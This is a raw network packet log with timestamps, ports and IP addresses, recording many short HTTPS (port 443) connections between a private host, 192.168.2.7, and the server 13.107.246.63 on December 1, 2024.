Dec 1, 2024 03:33:38.874552011 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.874584913 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.874725103 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.874732971 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.874757051 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.874928951 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.874963045 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.875009060 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.877532959 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.877553940 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.877604008 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.877743959 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.877753019 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.953542948 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.956700087 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.956764936 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.956836939 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.956885099 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.957658052 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.957678080 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.957690954 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.957698107 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.959983110 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.960014105 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.960097075 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.960216045 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.960227013 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.362987041 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.363460064 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.363488913 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.363893986 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.363903046 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.806849957 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.810345888 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.810394049 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.810456038 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.810516119 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.810528994 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.810543060 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.810549974 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.813164949 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.813198090 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:39.813263893 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.813455105 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:39.813466072 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.328156948 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.328783989 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.328804016 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.329193115 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.329200983 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.722719908 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.723167896 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.723195076 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.723624945 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.723632097 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.740647078 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.743557930 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.743577957 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.744012117 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.744018078 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.769347906 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.772547960 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.772602081 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.772631884 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.772644043 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.772651911 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.772659063 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.775475025 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.775500059 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:40.775588989 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.775749922 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:40.775763035 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.175510883 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.179112911 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.179200888 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.179285049 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.179303885 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.179316998 CET	50008	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.179322004 CET	443	50008	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.181966066 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.182009935 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.182090044 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.182249069 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.182260990 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.184997082 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.188080072 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.188148975 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.188182116 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.188199997 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.188215017 CET	50009	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.188221931 CET	443	50009	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.190538883 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.190576077 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.190648079 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.190787077 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.190798998 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.661995888 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.662412882 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.662436008 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:41.662861109 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:41.662866116 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.106420040 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.109775066 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.109817982 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.109946012 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.110030890 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.110040903 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.110080004 CET	50010	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.110085964 CET	443	50010	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.112749100 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.112771034 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.112873077 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.113017082 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.113024950 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.591569901 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.592152119 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.592170000 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.592462063 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.592468977 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.921370029 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.921812057 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.921825886 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.922274113 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.922278881 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.963864088 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.964571953 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.964587927 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:42.964989901 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:42.965003014 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.035852909 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.036153078 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.036278009 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.036319017 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.036319017 CET	50015	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.036338091 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.036343098 CET	443	50015	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.038770914 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.038794994 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.038883924 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.039026022 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.039038897 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.355885983 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.359096050 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.359149933 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.359191895 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.359210968 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.359220982 CET	50017	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.359225988 CET	443	50017	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.361607075 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.361646891 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.361721992 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.361881971 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.361893892 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.407279968 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.410691023 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.410727024 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.410743952 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.410757065 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.410834074 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.410861969 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.410877943 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.410883904 CET	50016	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.410888910 CET	443	50016	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.412966967 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.413003922 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.413079977 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.413209915 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.413224936 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.890264034 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.890714884 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.890739918 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:43.891531944 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:43.891537905 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.333554983 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.337161064 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.337217093 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.337229013 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.337295055 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.337347031 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.337364912 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.337433100 CET	50018	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.337440968 CET	443	50018	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.340187073 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.340219021 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.340285063 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.340431929 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.340446949 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.818687916 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.819160938 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.819200039 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:44.819618940 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:44.819624901 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.128128052 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.128622055 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.128645897 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.129059076 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.129069090 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.205089092 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.205606937 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.205617905 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.206094027 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.206104040 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.262578964 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.265727043 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.265789986 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.265829086 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.265847921 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.265862942 CET	50020	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.265870094 CET	443	50020	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.268594980 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.268623114 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.268707037 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.268868923 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.268882990 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.572954893 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.573028088 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.573080063 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.573214054 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.573231936 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.573245049 CET	50022	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.573250055 CET	443	50022	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.575571060 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.575596094 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.575666904 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.575795889 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.575804949 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.657829046 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.661628008 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.661734104 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.667428017 CET	50021	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.667439938 CET	443	50021	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.675030947 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.675066948 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:45.675151110 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.675292015 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:45.675306082 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.121988058 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.122421026 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.122432947 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.122840881 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.122847080 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.616995096 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.620140076 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.620255947 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.620291948 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.620305061 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.620316029 CET	50023	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.620321989 CET	443	50023	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.622869015 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.622910023 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:46.622983932 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.623126984 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:46.623143911 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.118788958 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.119223118 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.119234085 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.119638920 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.119643927 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.424827099 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.433721066 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.433741093 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.434156895 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.434161901 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.568684101 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.569231033 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.569252014 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.569632053 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.569637060 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.693274021 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.735430956 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.736661911 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.782361031 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.806435108 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.806472063 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.806519032 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.806535959 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.806581974 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.806936979 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.807015896 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.807080984 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.807214975 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.807230949 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.807241917 CET	50025	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.807248116 CET	443	50025	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.809659958 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.809688091 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.809763908 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.810663939 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.810678005 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:47.811410904 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:47.811415911 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.131287098 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.134397984 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.134469986 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.134507895 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.134529114 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.134541035 CET	50027	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.134546995 CET	443	50027	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.135215998 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.136074066 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.136097908 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.136109114 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.136113882 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.136990070 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.136996031 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.140497923 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.143687010 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.143743992 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.143765926 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.143836021 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.143901110 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.143914938 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.143927097 CET	50026	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.143934011 CET	443	50026	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.146114111 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.146120071 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.337613106 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.338056087 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.338063955 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.338469028 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.338473082 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.378006935 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.378130913 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.378144026 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.577685118 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.581105947 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.581162930 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.581175089 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.584877968 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.584883928 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.699501038 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.702188969 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.702207088 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.702255964 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.702261925 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.772208929 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.775703907 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.775748014 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.775774002 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.775834084 CET	50028	443	192.168.2.7	13.107.246.63
